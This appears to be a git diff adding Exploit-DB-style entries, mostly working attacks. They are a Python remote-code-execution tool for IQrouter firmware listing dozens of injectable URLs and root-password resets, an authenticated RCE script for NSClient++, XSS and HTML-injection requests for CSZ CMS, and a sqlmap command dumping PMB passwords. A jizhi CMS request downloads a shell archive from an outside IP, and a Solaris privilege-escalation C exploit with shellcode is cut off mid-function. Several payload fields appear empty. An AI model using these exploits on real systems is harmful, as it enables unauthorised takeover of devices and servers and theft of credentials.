diff --git a/exploits/hardware/webapps/48358.py b/exploits/hardware/webapps/48358.py
new file mode 100755
index 000000000..dc5fb38ab
--- /dev/null
+++ b/exploits/hardware/webapps/48358.py
@@ -0,0 +1,339 @@
+# Exploit Title: IQrouter 3.3.1 Firmware - Remote Code Execution
+# Date: 2020-04-21
+# Exploit Author: drakylar
+# Vendor Homepage: https://evenroute.com/
+# Software Link: https://evenroute.com/iqrouter
+# Version: IQrouter firmware up to 3.3.1
+# Tested on: IQrouter firmware 3.3.1
+# CVE : N/A
+
+#!/usr/bin/env python3
+import argparse
+from sys import argv, exit
+
+try:
+ import requests
+except ImportError:
+ print("Install requests lib! pip3 install requests")
+
+
+print("""
+#######################################################################
+# IQrouter multiple RCE and other vulnerabilities #
+# by drakylar (Shaposhnikov Ilya) #
+# CVE-2020-11963 CVE-2020-11964 CVE-2020-11966 #
+# CVE-2020-11967 CVE-2020-11968 #
+#######################################################################
+""")
+
+
+rce_setup = [
+ [
+ "/cgi-bin/luci/er/vlanTag?vlan_tag='`{}`'",
+ "RCE /vlanTag (vlan_tag param)"
+ ],
+ [
+ "/cgi-bin/luci/er/verify_wifi?wifi_conflict='`{}`'",
+ "RCE /verify_wifi (wifi_conflict param). Need hide_wifi_config != true"
+ ],
+ [
+ "/cgi-bin/luci/er/screen9?save_creds=1&s1&s2='`{}`'&p1&p2",
+ "RCE /screen9 (s2 param)"
+ ],
+ [
+ "/cgi-bin/luci/er/screen9?save_creds=1&s1='`{}`'&s2&p1&p2",
+ "RCE /screen9 (s1 param)"
+ ],
+ [
+ "/cgi-bin/luci/er/screen9?save_creds=1&s1&s2&p1&p2='`{}`'",
+ "RCE /screen9 (p2 param)"
+ ],
+ [
+ "/cgi-bin/luci/er/screen9?save_creds=1&s1&s2&p1='`{}`'&p2",
+ "RCE /screen9 (p1 param)"
+ ],
+ [
+ "/cgi-bin/luci/er/screen4?save_isp='`{}`",
+ "RCE /screen4 (save_isp param)"
+ ],
+ [
+ "/cgi-bin/luci/er/screen2?set_wan_modem_interfaces='`{}`'",
+ "RCE /screen2 set_wan_modem_interfaces param)"
+ ],
+ [
+ "/cgi-bin/luci/er/screen2?find_ip_address_conflict='`{}`'",
+ "RCE /screen2 find_ip_address_conflict param)"
+ ],
+ [
+ "/cgi-bin/luci/er/screen10?set_security_question='`{}`'",
+ "RCE /screen10 (set_security_question param)"
+ ],
+ [
+ "/cgi-bin/luci/er/screen10?set_security_answer='`{}`'&set_security_question=1",
+ "RCE /screen10 (set_security_answer param)"],
+ [
+ "/cgi-bin/luci/er/screen1?zonename='`{}`'",
+ "RCE /screen1 (zonename param)"
+ ],
+ [
+ "/cgi-bin/luci/er/register?email=`{}`",
+ "RCE /register (email param, result in /cgi-bin/luci/er/get_syslog for result)"
+ ]
+]
+
+rce_any = [
+ [
+ "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=1&s2='`{}`'&p1=1&p2=1",
+ "RCE /wifi (s2 param)"
+ ],
+ [
+ "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1='`{}`'&s2=5&p1=6&p2=7",
+ "RCE /wifi (s1 param)"
+ ],
+ [
+ "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=1&s2=2&p1=3&p2='`{}`'",
+ "RCE /wifi (p2 param)"
+ ],
+ [
+ "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=1&s2=2&p1='`{}`'&p2=4",
+ "RCE /wifi (p1 param)"
+ ],
+ [
+ "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=`{}`&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=4&s2=5&p1=6&p2=7",
+ "RCE /wifi (guestwifi_5g_ssid param)"
+ ],
+ [
+ "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=`{}`&guestwifi_5g_ssid=3&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=4&s2=5&p1=6&p2=7",
+ "RCE /wifi (guestwifi_2g_ssid param)"
+ ],
+ [
+ "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key='`{}`'&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=2&guestwifi_5g_ssid=3&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=4&s2=5&p1=6&p2=7",
+ "RCE /wifi (guest_key param)"
+ ],
+ [
+ "/cgi-bin/luci/er/wifi?enable_guestwifi='`{}`'&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=5&s2=6&p1=6&p2=7",
+ "RCE /wifi (enable_guestwifi param)"
+ ],
+ [
+ "/cgi-bin/luci/er/screen11.1?email=`{}`®ister=123&uilog=123&bg=123",
+ "RCE /screen11.1 (email param)"
+ ],
+ [
+ "/cgi-bin/luci/er/reboot_link?link='`{}`'",
+ "RCE /reboot_link (link param)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_wifi/1/2/3/4/5/'`{}`'/",
+ "RCE /diag_wifi (htm5ghz param)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_wifi/1/2/3/4/'`{}`'/6/",
+ "RCE /diag_wifi (htm2ghz param)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_wifi/1/2/3/'`{}`'/5/6/",
+ "RCE /diag_wifi (c5ghz param)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_wifi/1/2/'`{}`'/4/5/6/",
+ "RCE /diag_wifi (c2ghz param)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_set_static_wan/'`{}`'/2/3/4/",
+ "RCE /diag_set_static_wan (static_ip param)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_set_static_wan/1/'`{}`'/3/4/",
+ "RCE /diag_set_static_wan (net_mask param)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_set_static_wan/1/2/'`{}`'/4/",
+ "RCE /diag_set_static_wan (gateway param)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_set_static_wan/1/2/3/'`{}`'/",
+ "RCE /diag_set_static_wan (dns param)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_set_static_modem/'`{}`'/2/3/",
+ "RCE /diag_set_static_modem (static_ip param)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_set_static_modem/1/'`{}`'/3/",
+ "RCE /diag_set_static_modem (net_mask param)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_set_static_modem/1/2/'`{}`'/",
+ "RCE /diag_set_static_modem (gateway param)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_set_device_name_and_sync/'`{}`'/",
+ "RCE /diag_set_device_name_and_sync (device_name param)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_set_device_name/'`{}`'/",
+ "RCE /diag_set_device_name (device_name param)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_pppoe_update/'`{}`'/passs/",
+ "RCE /diag_pppoe_update (wan_username param)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_pppoe_update/aaadmin/'`{}`'/",
+ "RCE /diag_pppoe_update (wan_password param)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_pppoe/'`{}`'/passsswd/",
+ "RCE /diag_pppoe (wan_username param)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_pppoe/aaadmin/'`{}`'/",
+ "RCE /diag_pppoe (wan_password param)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_pppoa_update/'`{}`'/paaaasword/",
+ "RCE /diag_pppoa_update (wan_username param)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_pppoa_update/aaadmin/'`{}`'/",
+ "RCE /diag_pppoa_update (wan_password param)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_pppoa/'`{}`'/passs/",
+ "RCE /diag_pppoa (wan_username param)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_pppoa/aaadmin/'`{}`'/",
+ "RCE /diag_pppoa (wan_password param)"
+ ],
+ [
+ "/cgi-bin/luci/er/advanced_link?link='`{}`'",
+ "RCE /advanced_link (link param)"
+ ]
+
+]
+
+advanced_payloads = [
+ [
+ "/cgi-bin/luci/er/reboot_link?reboot=1",
+ "Reboot IQrouter (/reboot_link reboot param))"
+ ],
+ [
+ "/cgi-bin/luci/er/screen2?reboot=1",
+ "Reboot IQrouter (/screen2 reboot param))"
+ ],
+ [
+ "/cgi-bin/luci/er/index?reset_config=1",
+ "Reset IQrouter (/index reset_config param)"
+ ],
+ [
+ "/cgi-bin/luci/er/screen7?upgrade=1",
+ "Upgrade IQrouter (/screen7 upgrade param)"
+ ],
+ [
+ "/cgi-bin/luci/er/vlanTag?restart_network=1",
+ "Restart network (/vlanTag restart_network param)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_iperf_cmd/start",
+ "Start iperf script (/diag_iperf_cmd/start)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_iperf_cmd/stop",
+ "Stop iperf script (/diag_iperf_cmd/stop)"
+ ],
+ [
+ "/cgi-bin/luci/er/get_syslog",
+ "Router setup info log (/get_syslog)"
+ ],
+ [
+ "/cgi-bin/luci/er/diag_set_password/c00lpasswd/",
+ "Change root password to c00lpasswd (can change in code)"
+ ],
+ [
+ "/cgi-bin/luci/er/reset_password/",
+ "Change root password to 'changeme' (static)"
+ ]
+]
+
+
+def print_payloads():
+ print('#' * 30)
+ print("Payloads list")
+ num = 1
+ print('######################### RCE without auth ########################')
+ for payload in rce_any:
+ print("{} - {}".format(num, payload[1]))
+ num += 1
+
+ print(
+ '############### RCE (router need to be in setup mode) ###############')
+ for payload in rce_setup:
+ print("{} - {}".format(num, payload[1]))
+ num += 1
+
+ print(
+ '######################### Advanced payloads #########################')
+ for payload in advanced_payloads:
+ print("{} - {}".format(num, payload[1]))
+ num += 1
+
+
+parser = argparse.ArgumentParser(description="IQrouter multiple RCE")
+parser.add_argument('--host', help='Host', type=str)
+parser.add_argument('-p', '--port', help='Web port (default: 80)', default=80, type=int)
+parser.add_argument('-n', '--num', help='Payload number',
+ default=0, type=int)
+parser.add_argument('-c', '--cmd', help='Command to execute (default: pwd)',
+ default="pwd", type=str)
+parser.add_argument('--protocol', help='Protocol (http/https)',
+ default="http", type=str)
+
+args = parser.parse_args()
+
+
+def main():
+ print("")
+ full_payload_list = rce_setup + rce_any + advanced_payloads
+ payloads_amount = len(full_payload_list)
+ try:
+ hostname = args.host
+ port = args.port
+ payload_num = int(args.num)
+ bash_cmd = args.cmd
+ protocol = args.protocol
+
+ if payload_num < 1 or payload_num > payloads_amount:
+ print("Error with payload number!")
+ raise IndexError
+ if port < 0 or port > 65535:
+ print("Error with port number")
+ raise IndexError
+ if protocol not in ['http', 'https']:
+ print("Error with protocol name")
+ raise IndexError
+
+ current_payload = full_payload_list[payload_num - 1]
+ print("Payload: {}".format(current_payload[1]))
+ print("Host: {}".format(hostname))
+ print("Port: {}".format(port))
+ print("Protocol: {}".format(protocol))
+ print("Command: {}".format(bash_cmd))
+
+ full_url = "{}://{}:{}{}".format(protocol, hostname, port,
+ current_payload[0].format(bash_cmd))
+ print("Built URL: {}".format(full_url))
+
+ r = requests.get(full_url)
+ print("Status code: {}".format(r.status_code))
+ return
+ except IndexError:
+ parser.print_help()
+ print_payloads()
+ exit(1)
+
+
+if __name__ == '__main__':
+ print(
+ "\n\nWarning: use TABS(doesn't work in some payloads) or ${IFS} for space.")
+ exit(main())
\ No newline at end of file
diff --git a/exploits/hardware/webapps/48362.txt b/exploits/hardware/webapps/48362.txt
new file mode 100644
index 000000000..671415866
--- /dev/null
+++ b/exploits/hardware/webapps/48362.txt
@@ -0,0 +1,90 @@
+# Exploit Title: P5 FNIP-8x16A FNIP-4xSH 1.0.20 - Cross-Site Request Forgery (Add Admin)
+# Google Dork:jizhicms
+# Date: 2020-04-18
+# Exploit Author: iej1ctk1g
+# Product web page: https://www.p5.hu
+# Affected version: 1.0.20, 1.0.11
+# CVE : N/A
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/exploits/json/webapps/48360.txt b/exploits/json/webapps/48360.txt
new file mode 100644
index 000000000..93eebe24e
--- /dev/null
+++ b/exploits/json/webapps/48360.txt
@@ -0,0 +1,192 @@
+# Exploit Title: NSClient++ 0.5.2.35 - Authenticated Remote Code Execution
+# Google Dork: N/A
+# Date: 2020-04-20
+# Exploit Author: kindredsec
+# Vendor Homepage: https://nsclient.org/
+# Software Link: https://nsclient.org/download/
+# Version: 0.5.2.35
+# Tested on: Microsoft Windows 10 Pro (x64)
+# CVE: N/A
+#
+# NSClient++ is a monitoring agent that has the option to run external scripts.
+# This feature can allow an attacker, given they have credentials, the ability to execute
+# arbitrary code via the NSClient++ web application. Since it runs as NT Authority/System bt
+# Default, this leads to privileged code execution.
+
+#!/usr/bin/env python3
+
+import requests
+from bs4 import BeautifulSoup as bs
+import urllib3
+import json
+import sys
+import random
+import string
+import time
+import argparse
+urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
+
+def generateName():
+
+ letters = string.ascii_lowercase + string.ascii_uppercase
+ return ''.join(random.choice(letters) for i in range(random.randint(8,13)))
+
+def printStatus(message, msg_type):
+
+ C_YELLOW = '\033[1;33m'
+ C_RESET = '\033[0m'
+ C_GREEN = '\033[1;32m'
+ C_RED = '\033[1;31m'
+
+ if msg_type == "good":
+ green_plus = C_GREEN + "[+]" + C_RESET
+ string = green_plus + " " + message
+
+ elif msg_type == "info":
+ yellow_ex = C_YELLOW + "[!]" + C_RESET
+ string = yellow_ex + " " + message
+
+ elif msg_type == "bad":
+ red_minus = C_RED + "[-]" + C_RESET
+ string = red_minus + " " + message
+
+ print(string)
+
+
+# This function adds a new external script containing the desired
+# command, then saves the configuration
+def configurePayload(session, cmd, key):
+
+ printStatus("Configuring Script with Specified Payload . . .", "info")
+ endpoint = "/settings/query.json"
+ node = { "path" : "/settings/external scripts/scripts",
+ "key" : key }
+ value = { "string_data" : cmd }
+ update = { "node" : node , "value" : value }
+ payload = [ { "plugin_id" : "1234",
+ "update" : update } ]
+ json_data = { "type" : "SettingsRequestMessage", "payload" : payload }
+
+ out = session.post(url = base_url + endpoint, json=json_data, verify=False)
+ if "STATUS_OK" not in str(out.content):
+ printStatus("Error configuring payload. Hit error at: " + endpoint, "bad")
+ sys.exit(1)
+
+ printStatus("Added External Script (name: " + key + ")", "good")
+ time.sleep(3)
+ printStatus("Saving Configuration . . .", "info")
+ header = { "version" : "1" }
+ payload = [ { "plugin_id" : "1234", "control" : { "command" : "SAVE" }} ]
+ json_data = { "header" : header, "type" : "SettingsRequestMessage", "payload" : payload }
+
+ session.post(url = base_url + endpoint, json=json_data, verify=False)
+
+
+# Since the application needs to be restarted after making changes,
+# this function reloads the application, and waits for it to come back.
+def reloadConfig(session):
+
+ printStatus("Reloading Application . . .", "info")
+ endpoint = "/core/reload"
+ session.get(url = base_url + endpoint, verify=False)
+
+ # Wait until the application successfully reloads by making a request
+ # every 10 seconds until it responds.
+ printStatus("Waiting for Application to reload . . .", "info")
+ time.sleep(10)
+ response = False
+ count = 0
+ while not response:
+ try:
+ out = session.get(url = base_url, verify=False, timeout=10)
+ if len(out.content) > 0:
+ response = True
+ except:
+ count += 1
+ if count > 10:
+ printStatus("Application failed to reload. Nice DoS exploit! /s", "bad")
+ sys.exit(1)
+ else:
+ continue
+
+
+# This function makes the call to the new external script to
+# ultimately execute the code.
+def triggerPayload(session, key):
+
+ printStatus("Triggering payload, should execute shortly . . .", "info")
+ endpoint = "/query/" + key
+ try:
+ session.get(url = base_url + endpoint, verify=False, timeout=10)
+ except requests.exceptions.ReadTimeout:
+ printStatus("Timeout exceeded. Assuming your payload executed . . .", "info")
+ sys.exit(0)
+
+
+# Before setting up the exploit, this function makes sure the
+# required feature (External Scripts) is enabled on the application.
+def enableFeature(session):
+
+ printStatus("Enabling External Scripts Module . . .", "info")
+ endpoint = "/registry/control/module/load"
+ params = { "name" : "CheckExternalScripts" }
+ out = session.get(url = base_url + endpoint, params=params, verify=False)
+ if "STATUS_OK" not in str(out.content):
+ printStatus("Error enabling required feature. Hit error at: " + endpoint, "bad")
+ sys.exit(1)
+
+
+# This function obtains an authentication token that gets added to all
+# remaining headers.
+def getAuthToken(session):
+
+ printStatus("Obtaining Authentication Token . . .", "info")
+ endpoint = "/auth/token"
+ params = { "password" : password }
+ auth = session.get(url = base_url + endpoint, params=params, verify=False)
+ if "auth token" in str(auth.content):
+ j = json.loads(auth.content)
+ authToken = j["auth token"]
+ printStatus("Got auth token: " + authToken, "good")
+ return authToken
+ else:
+ printStatus("Error obtaining auth token, is your password correct? Hit error at: " + endpoint, "bad")
+ sys.exit(1)
+
+
+
+parser = argparse.ArgumentParser("NSClient++ 0.5.2.35 Authenticated RCE")
+parser.add_argument('-t', nargs='?', metavar='target', help='Target IP Address.')
+parser.add_argument('-P', nargs='?', metavar='port', help='Target Port.')
+parser.add_argument('-p', nargs='?', metavar='password', help='NSClient++ Administrative Password.')
+parser.add_argument('-c', nargs='?', metavar='command', help='Command to execute on target')
+args = parser.parse_args()
+
+if len(sys.argv) < 4:
+ parser.print_help()
+ sys.exit(1)
+
+# Build base URL, grab needed arguments
+base_url = "https://" + args.t + ":" + args.P
+printStatus("Targeting base URL " + base_url, "info")
+password = args.p
+cmd = args.c
+
+# Get first auth token, and add it to headers of session
+s = requests.session()
+token = getAuthToken(s)
+s.headers.update({ "TOKEN" : token})
+
+# Generate a random name, enable the feature, add the payload,
+# then reload.
+randKey = generateName()
+enableFeature(s)
+configurePayload(s, cmd, randKey)
+reloadConfig(s)
+
+# Since application was reloaded, need a new auth token.
+token = getAuthToken(s)
+s.headers.update({ "TOKEN" : token})
+
+# Execute our code.
+triggerPayload(s, randKey)
\ No newline at end of file
diff --git a/exploits/php/webapps/48354.txt b/exploits/php/webapps/48354.txt
new file mode 100644
index 000000000..c97757266
--- /dev/null
+++ b/exploits/php/webapps/48354.txt
@@ -0,0 +1,32 @@
+# Exploit Title: CSZ CMS 1.2.7 - Persistent Cross-Site Scripting
+# Exploit Author: Metin Yunus Kandemir
+# Vendor Homepage: https://www.cszcms.com/
+# Software Link: https://sourceforge.net/projects/cszcms/
+# Version: v1.2.7
+# Description:
+# Unauthorized user that has access private message can embed Javascript
+# code to admin panel.
+
+# Steps to reproduce:
+1- Log in to member panel.
+1- Change user-agent header as
+2- Send the private message to admin user.
+3- When admin user logs in to Backend System Dashboard, an alert box pops
+up on screen.
+
+PoC Request:
+
+POST /CSZCMS-V1.2.7/member/insertpm/ HTTP/1.1
+Host: localhost
+User-Agent:
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Referer: http://localhost/CSZCMS-V1.2.7/member/newpm
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 152
+Cookie: cszcookie
+Connection: close
+Upgrade-Insecure-Requests: 1
+
+csrf_csz=*&csrf_csz=*&to%5B%5D=1&title=user-agent&message=user-agent&submit=Send
\ No newline at end of file
diff --git a/exploits/php/webapps/48356.txt b/exploits/php/webapps/48356.txt
new file mode 100644
index 000000000..fce82ae1b
--- /dev/null
+++ b/exploits/php/webapps/48356.txt
@@ -0,0 +1,43 @@
+# Exploit Title: PMB 5.6 - 'logid' SQL Injection
+# Google Dork: inurl:opac_css
+# Date: 2020-04-20
+# Exploit Author: 41-trk (Tarik Bakir)
+# Vendor Homepage: http://www.sigb.net
+# Software Link: http://forge.sigb.net/redmine/projects/pmb/files
+# Affected versions : <= 5.6
+
+-==== Software Description ====-
+
+PMB is a completely free ILS (Integrated Library management System). The domain of software for libraries is almost exclusively occupied by proprietary products.
+We are some librarians, users and developers deploring this state of affairs.
+
+PMB is based on web technology. This is what we sometimes call a 'web-app'.
+PMB requires an HTTP server (such as Apache, but this is not an obligation), the MySQL database and the PHP language.
+
+The main functions of PMB are :
+
+ * Supporting the UNIMARC format
+ * Authorities management (authors, publishers, series, subjects...)
+ * Management of loans, holds, borrowers...
+ * A user-friendly configuration
+ * The ability to import full bibliographic records
+ * A user-friendly OPAC integrating a browser
+ * Loans management with a module designed to serve even the very small establishments
+ * Serials management
+ * Simple administration procedures that can be handled easily even by the library staff...
+
+-==== Vulnerability ====-
+
+Variable $logid isn't properly sanitized in file /admin/sauvegarde/download.php, which allows ADMINISTRATION_AUTH to execute arbitrary SQL commands via the id parameter.
+
+-==== POC ====-
+
+http://localhost/[PMB_PATH]/admin/sauvegarde/download.php?logid=1 [SQLI]
+
+Using SQLMAP :
+
+./sqlmap.py -u "http://localhost/[PMB_PATH]/admin/sauvegarde/download.php?logid=1" -p logid --headers="Cookie: [VALID_USER_COOKIE]" --passwords
+
+-==== Exploit requirements ====-
+
+- You will need to be logged in in order to exploit the vulnerability.
\ No newline at end of file
diff --git a/exploits/php/webapps/48357.txt b/exploits/php/webapps/48357.txt
new file mode 100644
index 000000000..1b33d4bfa
--- /dev/null
+++ b/exploits/php/webapps/48357.txt
@@ -0,0 +1,27 @@
+# Exploit Title: CSZ CMS 1.2.7 - 'title' HTML Injection
+# Exploit Author: Metin Yunus Kandemir
+# Vendor Homepage: https://www.cszcms.com/
+# Software Link: https://sourceforge.net/projects/cszcms/
+# Version: v1.2.7
+# Description:
+# Authenticated user can inject hyperlink to Backend System Dashboard and
+# Member Dashboard via message.
+
+PoC Request:
+
+POST /CSZCMS-V1.2.7/member/insertpm/ HTTP/1.1
+Host: localhost
+User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
+Firefox/60.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Referer: http://localhost/CSZCMS-V1.2.7/member/newpm
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 196
+Cookie: cszcookie
+Connection: close
+Upgrade-Insecure-Requests: 1
+
+csrf_csz=*&csrf_csz=*&to%5B%5D=1&title=&message=phishing&submit=Send
\ No newline at end of file
diff --git a/exploits/php/webapps/48361.txt b/exploits/php/webapps/48361.txt
new file mode 100644
index 000000000..111f38335
--- /dev/null
+++ b/exploits/php/webapps/48361.txt
@@ -0,0 +1,46 @@
+# Exploit Title: jizhi CMS 1.6.7 - Arbitrary File Download
+# Google Dork: jizhicms
+# Date: 2020-04-18
+# Exploit Author: iej1ctk1g
+# Vendor Homepage: https://www.jizhicms.cn/
+# Software Link: http://down.jizhicms.cn/jizhicms_Beta1.6.7.zip
+# Version: 1.6.7
+# Tested on： Mac OS
+# CVE : N/A
+
+Data 1.
+
+POST /admin.php/Plugins/update.html HTTP/1.1
+Host: 192.168.1.253:8888
+Content-Length: 86
+Accept: application/json, text/javascript, */*; q=0.01
+X-Requested-With: XMLHttpRequest
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
+Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+Origin: http://192.168.1.253:8888
+Referer: http://192.168.1.253:8888/admin.php/Plugins/index.html
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
+Cookie: PHPSESSID=32db2410f5d69bf21ba9b21ab8093a09
+Connection: close
+
+action=start-download&filepath=shell&download_url=http://39.105.143.130:9090/shell.zip
+
+
+Data 2.
+
+POST /admin.php/Plugins/update.html HTTP/1.1
+Host: 192.168.1.253:8888
+Content-Length: 32
+Accept: application/json, text/javascript, */*; q=0.01
+X-Requested-With: XMLHttpRequest
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
+Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+Origin: http://192.168.1.253:8888
+Referer: http://192.168.1.253:8888/admin.php/Plugins/index.html
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
+Cookie: PHPSESSID=32db2410f5d69bf21ba9b21ab8093a09
+Connection: close
+
+action=file-upzip&filepath=shell
\ No newline at end of file
diff --git a/exploits/solaris/local/48359.c b/exploits/solaris/local/48359.c
new file mode 100644
index 000000000..1895c1312
--- /dev/null
+++ b/exploits/solaris/local/48359.c
@@ -0,0 +1,320 @@
+# Title: Oracle Solaris Common Desktop Environment 1.6 - Local Privilege Escalation
+# Date: 2020-04-21
+# Author: Marco Ivaldi
+# Vendor: www.oracle.com
+# CVE: CVE-2020-2944
+
+/*
+ * raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel
+ * Copyright (c) 2019-2020 Marco Ivaldi
+ *
+ * A buffer overflow in the _SanityCheck() function in the Common Desktop
+ * Environment version distributed with Oracle Solaris 10 1/13 (Update 11) and
+ * earlier allows local users to gain root privileges via a long calendar name
+ * or calendar owner passed to sdtcm_convert in a malicious calendar file
+ * (CVE-2020-2944).
+ *
+ * The open source version of CDE (based on the CDE 2.x codebase) is not
+ * affected, because it does not ship the vulnerable binary.
+ *
+ * "CDE, the gift that keeps on giving" -- @0xdea
+ * "Feels more like a curse you can't break from this side." -- @alanc
+ *
+ * This exploit uses the ret-into-ld.so technique to bypass the non-exec stack
+ * protection. In case troubles arise with NULL-bytes inside the ld.so.1 memory
+ * space, try returning to sprintf() instead of strcpy().
+ *
+ * I haven't written a Solaris/SPARC version because I don't have a SPARC box
+ * on which Solaris 10 can run. If anybody is kind enough to give me access to
+ * such a box, I'd be happy to port my exploit to Solaris/SPARC as well.
+ *
+ * Usage:
+ * $ gcc raptor_sdtcm_conv.c -o raptor_sdtcm_conv -Wall
+ * $ ./raptor_sdtcm_conv
+ * [...]
+ * Do you want to correct it? (Y/N) [Y] n
+ * # id
+ * uid=0(root) gid=1(other) egid=12(daemon)
+ * #
+ *
+ * This should work with any common configuration on the first try. To
+ * re-enable rpc.cmsd, clear its service maintenance status by running the
+ * following commands as root:
+ * # /usr/sbin/svcadm clear cde-calendar-manager
+ * # /usr/bin/svcs -a | grep calendar
+ * online 13:16:54 svc:/network/rpc/cde-calendar-manager:default
+ *
+ * Tested on:
+ * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
+ * [previous Solaris versions are also likely vulnerable]
+ */
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#define INFO1 "raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel"
+#define INFO2 "Copyright (c) 2019-2020 Marco Ivaldi "
+
+#define VULN "/usr/dt/bin/sdtcm_convert" // the vulnerable program
+#define ADMIN "/usr/dt/bin/sdtcm_admin" // calendar admin utility
+#define BUFSIZE 2304 // size of the name/owner
+#define PAYSIZE 1024 // size of the payload
+#define OFFSET env_len / 2 // offset to the shellcode
+
+char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
+/* double setuid() */
+"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
+"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
+/* execve() */
+"\x31\xc0\x50\x68/ksh\x68/bin"
+"\x89\xe3\x50\x53\x89\xe2\x50"
+"\x52\x53\xb0\x3b\x50\xcd\x91";
+
+/* globals */
+char *env[256];
+int env_pos = 0, env_len = 0;
+
+/* prototypes */
+int add_env(char *string);
+void check_zero(int addr, char *pattern);
+int search_ldso(char *sym);
+int search_rwx_mem(void);
+void set_val(char *buf, int pos, int val);
+
+/*
+ * main()
+ */
+int main(int argc, char **argv)
+{
+ char buf[BUFSIZE], payload[PAYSIZE];
+ char platform[256], release[256], hostname[256];
+ int i, payaddr;
+
+ char *arg[3] = {"foo", "hax0r", NULL};
+ int sb = ((int)argv[0] | 0xfff); /* stack base */
+ int ret = search_ldso("strcpy"); /* or sprintf */
+ int rwx_mem = search_rwx_mem(); /* rwx memory */
+
+ char cmd[1024];
+ FILE *fp;
+
+ /* print exploit information */
+ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
+
+ /* read command line */
+ if (argc != 1) {
+ fprintf(stderr, "Usage:\n%s\n[...]\n", argv[0]);
+ fprintf(stderr, "Do you want to correct it? (Y/N) [Y] n\n\n");
+ exit(1);
+ }
+
+ /* get system information */
+ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
+ sysinfo(SI_RELEASE, release, sizeof(release) - 1);
+ sysinfo(SI_HOSTNAME, hostname, sizeof(release) - 1);
+
+ /* prepare the payload (NOPs suck, but I'm too old for VOODOO stuff) */
